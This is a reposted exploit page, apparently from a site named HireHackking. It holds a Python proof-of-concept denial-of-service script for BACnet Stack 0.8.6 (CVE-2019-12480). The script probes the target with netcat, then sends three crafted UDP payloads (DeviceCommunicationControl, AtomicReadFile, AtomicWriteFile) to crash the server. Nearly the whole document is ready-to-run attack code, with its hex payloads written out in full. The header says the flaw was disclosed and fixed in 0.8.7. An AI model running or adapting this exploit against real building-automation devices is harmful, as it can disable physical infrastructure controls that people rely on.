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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: BACnet Stack 0.8.6 - Denial of Service
# Google Dork: [if applicable]
# Date: 2019-07-19
# Exploit Author: mmorillo
# Vendor Homepage: https://sourceforge.net/p/bacnet/
# Software Link: https://sourceforge.net/projects/bacnet/files/bacnet-stack/bacnet-stack-0.8.6/
# Version: bacnet-stack-0.8.6
# Tested on: Linux
# CVE: CVE-2019-12480

#!/usr/bin/env python
# 
# After reported the bug to the vendor, sharing details
# about the vulnerability, as well as proof-of-concept code (exploit code to 
# test), has been release a fix for 0.8.7 release of 
# BACnet Protocol Stack https://sourceforge.net/p/bacnet/

import socket
import struct
import argparse
import os
import sys
from termcolor import colored

#------------------------------------------------------------------------------
# Command line parser using argparse
#------------------------------------------------------------------------------

def cmdline_parser():
    parser = argparse.ArgumentParser(conflict_handler='resolve', add_help=True,
             description='BACnet Protocol Stack Segmentation fault leading to denial of service', version='0.1',
             usage="python %(prog)s")

    # Mandatory
    parser.add_argument('Server', type=str, help='BACnet server IP')
    parser.add_argument('Port', type=str, help='BACnet port')

    return parser


def get_Host_name_IP(): 
    try: 
        host_name = socket.gethostname() 
        host_ip = socket.gethostbyname(host_name) 
        return host_ip
    except: 
        print("Unable to get Hostname and IP") 


def target_alive(BACnetServer, BACnetPort):
    response = os.system("nc -u -z -w 1 " + BACnetServer + " " + str(BACnetPort))

    if response == 0:
        return True
    else:
        return False

#------------------------------------------------------------------------------
# Main of program
#------------------------------------------------------------------------------

def main():

    # Get the command line parser.
    parser = cmdline_parser()

    # Show help if no args
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    # Get results line parser.
    results = parser.parse_args()

    BACnetServer = results.Server
    BACnetPort = int(results.Port)
    SRC_IP = get_Host_name_IP()

    if not target_alive(BACnetServer, BACnetPort):
        print((colored("[+] BACnet server down", "yellow")))

    else:
        if target_alive(BACnetServer, BACnetPort):

            payload_DeviceCommunicationControl = "\x81\x0a\x00\x16\x01\x04\x00\x05\x01\x11\x0d\xff\x80\x00\x03\x1a\x0a\x19\x00\x2a\x00\x41"

            print((colored("[+] Sending BACnet DeviceCommunicationControl payload from " + SRC_IP, "green")))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
            s.connect((BACnetServer, BACnetPort))
            s.send(struct.pack('>I',len(payload_DeviceCommunicationControl)))
            s.send(payload_DeviceCommunicationControl)

            print((colored("[+] Sent Payload: " + payload_DeviceCommunicationControl.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

        if target_alive(BACnetServer, BACnetPort):

            payload_AtomicReadFile = "\x81\x0a\x00\x1b\x01\x14\x00\x05\x01\x06\xc4\x02\x80\x00\x00\x0e\x35\xff\xdf\x62\xee\x00\x00\x22\x05\x84\x0f"

            print((colored("[+] Sending BACnet AtomicReadFile payload from " + SRC_IP, "green")))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
            s.connect((BACnetServer, BACnetPort))
            s.send(struct.pack('>I',len(payload_AtomicReadFile)))
            s.send(payload_AtomicReadFile)

            print((colored("[+] Sent Payload: " + payload_AtomicReadFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

        if target_alive(BACnetServer, BACnetPort):

            payload_AtomicWriteFile = "\x81\x0a\x00\x1b\x01\x04\x00\x05\x02\x07\xc4\x02\x80\x00\x00\x0e\x35\xff\x5e\xd5\xc0\x85\x0a\x62\x64\x0a\x0f"

            print((colored("[+] Sending BACnet AtomicWriteFile payload from " + SRC_IP, "green")))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
            s.connect((BACnetServer, BACnetPort))
            s.send(struct.pack('>I',len(payload_AtomicWriteFile)))
            s.send(payload_AtomicWriteFile)

            print((colored("[+] Sent Payload: " + payload_AtomicWriteFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

        if not target_alive(BACnetServer, BACnetPort):
            print((colored("[+] DoS completed", "red")))


#------------------------------------------------------------------------------
# Main
#------------------------------------------------------------------------------

if __name__ == '__main__':
    main()